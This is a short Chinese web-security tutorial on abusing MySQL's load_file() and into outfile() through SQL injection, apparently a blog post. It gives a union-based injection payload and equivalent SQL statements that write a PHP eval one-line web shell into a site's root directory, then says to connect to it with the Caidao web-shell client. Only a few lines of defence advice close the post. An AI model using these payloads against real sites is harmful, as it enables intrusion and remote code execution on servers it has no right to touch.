web安全之sqlload_file()和into outfile()

load_file()

  条件:要有file_priv权限

     知道文件的绝对路径

     能使用union

     对web目录有读权限

  如果过滤啦单引号,则可以将函数中的字符进行hex编码

步骤:

  1.读/etc/init.d下的东西,这里有配置文件路径。

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAi0AAAAjCAIAAADXHq18AAAIEUlEQVR4nO2cz2viTBjH988RBKu9uvRSSqkgvmAOW2qFRbASPJSCxYtCwcVD+148tOi1CPG2B0Ghl5566h+1h2jyzMwzSSY1Hbv7hc+hJplkfujzzfNj+i2XLwAAAAC2+Ga9BwAAAP5loEMAAABsAh0CAABgE+gQAAAAm0CHAAAA2AQ6BAAAwCbQIQAAADaBDgEAALAJdAgAAIBNoEMAAABsYqxD3enb7L5tvd8ZM3pYrQcN690AfyP10vt18cZ6NxQqvfOL5uc+tFlze8fMweHZUYq7Vc9a41rFzuwdX1h79N9ABjrUmM5Wbwtv6iS/bd9brN4e+tonRpzNhi+iQ/XSe//wvX+4V3bt9O6l8/R8atqw89x5euk8vXSefv/nJG9YXPoz0C/NT7IZ0Unx1XyGJ1eHm6XpH75fFeVV4+4WNHm9PEjf28Z0pv70mjV3fM5YfEr1rJXO+qenXB869apyfD91KHIOj1yn5Zb9vyu9c3f86YouwvbhyHXc8XnQz5C+t5iOLPY2x+hQ31us3nw+YPpHDwl1yH+cNx1M90qHvhbF5Y516GB+XZqYNzy9e+k8vfy8ffxhqkOd51C6nMefZlJUyOULk6vMdCjFDNdLsvaYtP2IDnXZ31ECHTpyHSPTaXo9Q/WsFS2NO6NcH+5Cn7Qdlu8fNzmR/WnWGKkwR+2DVofy7YFn+bVb1KG+R/yY0UN6659Yh7bwv598IZcvOPfrxZfwTqyxLzq05ZepDp3eCcLz/fb3z1vX6KF7pUM3lx/Qko/oEOsM5X1HgTVAAcZhpY/r0CeGATPWISW6uJ865L+O8B2z7RLJOiTE3MSPvl+yWPFxueDsYuV1Qx1qD7zguICkOhE6lOt7i5XXTTwk0X/admA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Xig24ZUHtqFiumZasLXci8D5d0nTXWXJqzMPIXuuKE/7042B6o0F3le2RkoEjsWGFvWuvInTtxcio0JoFtgnAGcuz9YW3yPTt8b5TYs2OEuFwbeViH+QHM1nKLkAqtsZ07zgpZ0uakqXfBkBtMz/ayEb6xpTmIWg3aW2ropD3q7IpCOXGTUank7o/TXiKA5N6Yw5G/IKq2+e/IYy/SgqlO2GYoXgNrvX8WdnHbKxXb2FEMwOY4mN3l1NervHrnv8WaY5A5KMU7ToqlbP3ZEN53nOR/VVqejCGIyf8imZVebbedt7EBsDGCq5ec+pq9JBB4yRU+AWDNbEadAD/FqJPtvckeAAAAyA3NSmTyeTTHBI2SEbrJLptGyW2vtQJ1AkB+bGUuSbUgAAAAkoA6AQAAAEC5gDoBAAAAQLmAOgEAAABAuYA6AQAAAEC5gDoBAAAAQLmAOgEAAABAuYA6AQAAAEC5gDoBAAAAQLmAOgEAAABAufg/6nb3cin3fXcAAAAASUVORK5CYII=" alt="" />

into outfile

条件:

  1。要有file_priv权限

  2.知道网站的绝对路径

  3.对web有写的权限

  4.没有过滤单引号

步骤:

直到网站的绝对路径的时候:

  ?id=1 union select "<?php @eval($_POST['c']); ?>" into
 outfile("网站根目录")

相当于:

use test;  选择数据库为test
create table aaa(bbb varchar(64)); 在数据库中创建一个表aaa
insert into aaa values("<?php @eval($_POST['c']);?>"); 在aaa中插入一条数据<?php @eval($_POST['c']);?>
select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; 将aaa中的数据导出到文件a.php
drop aaa;  //删除建立的表

用菜刀练接;

防御:
  数据库连接帐号不能用root权限
  php关闭报错模式
  mysql帐号没有对权限对网络根目录有写的权限
 
上一篇:2015 前端[JS]工程师必知必会


下一篇:linux常用编辑器